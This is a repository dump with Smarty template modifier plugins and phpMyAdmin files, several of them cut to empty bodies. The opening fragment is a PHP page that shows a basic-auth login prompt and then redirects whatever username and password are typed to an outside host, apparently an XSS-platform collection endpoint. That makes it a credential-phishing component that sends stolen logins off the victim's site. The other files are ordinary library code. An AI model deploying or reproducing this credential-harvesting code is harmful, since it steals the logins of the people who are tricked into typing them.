13 | echo 'Authorization Required.';
14 |
15 | exit;
16 |
17 | } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
18 |
19 | /* 变量值存在,检查其是否正确 */
20 |
21 | header("Location: http://xsserme.sinaapp.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
22 |
23 | }
24 |
25 | ?>
--------------------------------------------------------------------------------
/libs/plugins/modifier.replace.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: replace
14 | * Purpose: simple search/replace
15 | * @link http://smarty.php.net/manual/en/language.modifier.replace.php
16 | * replace (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param string
20 | * @param string
21 | * @return string
22 | */
23 | function smarty_modifier_replace($string, $search, $replace)
24 | {
25 | return str_replace($search, $replace, $string);
26 | }
27 |
28 | /* vim: set expandtab: */
29 |
30 | ?>
31 |
--------------------------------------------------------------------------------
/php/server_sql.php:
--------------------------------------------------------------------------------
1 |
37 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.wordwrap.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: wordwrap
14 | * Purpose: wrap a string of text at a given length
15 | * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php
16 | * wordwrap (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param integer
20 | * @param string
21 | * @param boolean
22 | * @return string
23 | */
24 | function smarty_modifier_wordwrap($string,$length=80,$break="\n",$cut=false)
25 | {
26 | return wordwrap($string,$length,$break,$cut);
27 | }
28 |
29 | ?>
30 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.cat.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: cat
14 | * Date: Feb 24, 2003
15 | * Purpose: catenate a value to a variable
16 | * Input: string to catenate
17 | * Example: {$var|cat:"foo"}
18 | * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat
19 | * (Smarty online manual)
20 | * @author Monte Ohrt
21 | * @version 1.0
22 | * @param string
23 | * @param string
24 | * @return string
25 | */
26 | function smarty_modifier_cat($string, $cat)
27 | {
28 | return $string . $cat;
29 | }
30 |
31 | /* vim: set expandtab: */
32 |
33 | ?>
34 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.count_paragraphs.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: count_paragraphs
14 | * Purpose: count the number of paragraphs in a text
15 | * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
16 | * count_paragraphs (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @return integer
20 | */
21 | function smarty_modifier_count_paragraphs($string)
22 | {
23 | // count \r or \n characters
24 | return count(preg_split('/[\r\n]+/', $string));
25 | }
26 |
27 | /* vim: set expandtab: */
28 |
29 | ?>
30 |
--------------------------------------------------------------------------------
/php/libraries/transformations/template_generator.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # $Id: template_generator.sh 9537 2006-10-12 16:27:13Z nijel $
3 | #
4 | # Shell script that adds a new mimetype with transform function.
5 | #
6 | # The filename should contain either 'mimetype_subtype' or 'mimetype'.
7 | # The suffix '.inc.php' is appended automatically!
8 | #
9 | # The 'description' parameter will add a new entry in the language file. Watch out for
10 | # special escaping.
11 | #
12 | # Example: template_generator.sh 'filename' 'description'
13 | #
14 | if [ $# == 0 ]
15 | then
16 | echo "Usage: template_generator.sh 'filename' 'description'"
17 | echo ""
18 | exit 65
19 | fi
20 |
21 |
22 |
23 | ./generator.sh 'TEMPLATE' "$1" "$2"
24 | echo " "
25 | echo "New TRANSFORM FUNCTION $1.inc.php added."
26 |
--------------------------------------------------------------------------------
/php/tbl_import.php:
--------------------------------------------------------------------------------
1 |
33 |
34 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.spacify.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: spacify
14 | * Purpose: add spaces between characters in a string
15 | * @link http://smarty.php.net/manual/en/language.modifier.spacify.php
16 | * spacify (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param string
20 | * @return string
21 | */
22 | function smarty_modifier_spacify($string, $spacify_char = ' ')
23 | {
24 | return implode($spacify_char,
25 | preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY));
26 | }
27 |
28 | /* vim: set expandtab: */
29 |
30 | ?>
31 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.default.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: default
14 | * Purpose: designate default value for empty variables
15 | * @link http://smarty.php.net/manual/en/language.modifier.default.php
16 | * default (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param string
20 | * @return string
21 | */
22 | function smarty_modifier_default($string, $default = '')
23 | {
24 | if (!isset($string) || $string === '')
25 | return $default;
26 | else
27 | return $string;
28 | }
29 |
30 | /* vim: set expandtab: */
31 |
32 | ?>
33 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.count_sentences.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: count_sentences
14 | * Purpose: count the number of sentences in a text
15 | * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
16 | * count_sentences (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @return integer
20 | */
21 | function smarty_modifier_count_sentences($string)
22 | {
23 | // find periods with a word before but not after.
24 | return preg_match_all('/[^\s]\.(?!\w)/', $string, $match);
25 | }
26 |
27 | /* vim: set expandtab: */
28 |
29 | ?>
30 |
--------------------------------------------------------------------------------
/php/test/Environment_test.php:
--------------------------------------------------------------------------------
1 | assertTrue(version_compare('4.1', phpversion(), '<='),
20 | 'phpMyAdmin requires PHP 4.1 or above');
21 | }
22 |
23 | public function testMySQL()
24 | {
25 | $this->markTestIncomplete();
26 | }
27 |
28 | public function testSession()
29 | {
30 | $this->markTestIncomplete();
31 | }
32 | }
33 | ?>
--------------------------------------------------------------------------------
/libs/plugins/modifier.strip_tags.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: strip_tags
14 | * Purpose: strip html tags from text
15 | * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php
16 | * strip_tags (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param boolean
20 | * @return string
21 | */
22 | function smarty_modifier_strip_tags($string, $replace_with_space = true)
23 | {
24 | if ($replace_with_space)
25 | return preg_replace('!<[^>]*?>!', ' ', $string);
26 | else
27 | return strip_tags($string);
28 | }
29 |
30 | /* vim: set expandtab: */
31 |
32 | ?>
33 |
--------------------------------------------------------------------------------
/php/libraries/transformations/application_octetstream__hex.inc.php:
--------------------------------------------------------------------------------
1 |
29 |
--------------------------------------------------------------------------------
/php/themes/original/css/theme_print.css.php:
--------------------------------------------------------------------------------
1 |
11 | /* For printview */
12 | body, table, th, td {
13 | color: #000000;
14 | background-color: #ffffff;
15 | }
16 |
17 | img {
18 | border: 0;
19 | }
20 |
21 | table, th, td {
22 | border-width: 0.1em;
23 | border-color: #000000;
24 | border-style: solid;
25 | }
26 |
27 | table {
28 | border-collapse: collapse;
29 | border-spacing: 0;
30 | }
31 |
32 | th, td {
33 | padding: 0.2em;
34 | }
35 |
36 | th {
37 | font-weight: bold;
38 | background-color: #e5e5e5;
39 | }
40 |
--------------------------------------------------------------------------------
/php/calendar.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
24 |
25 |
26 |
27 |
28 |
29 |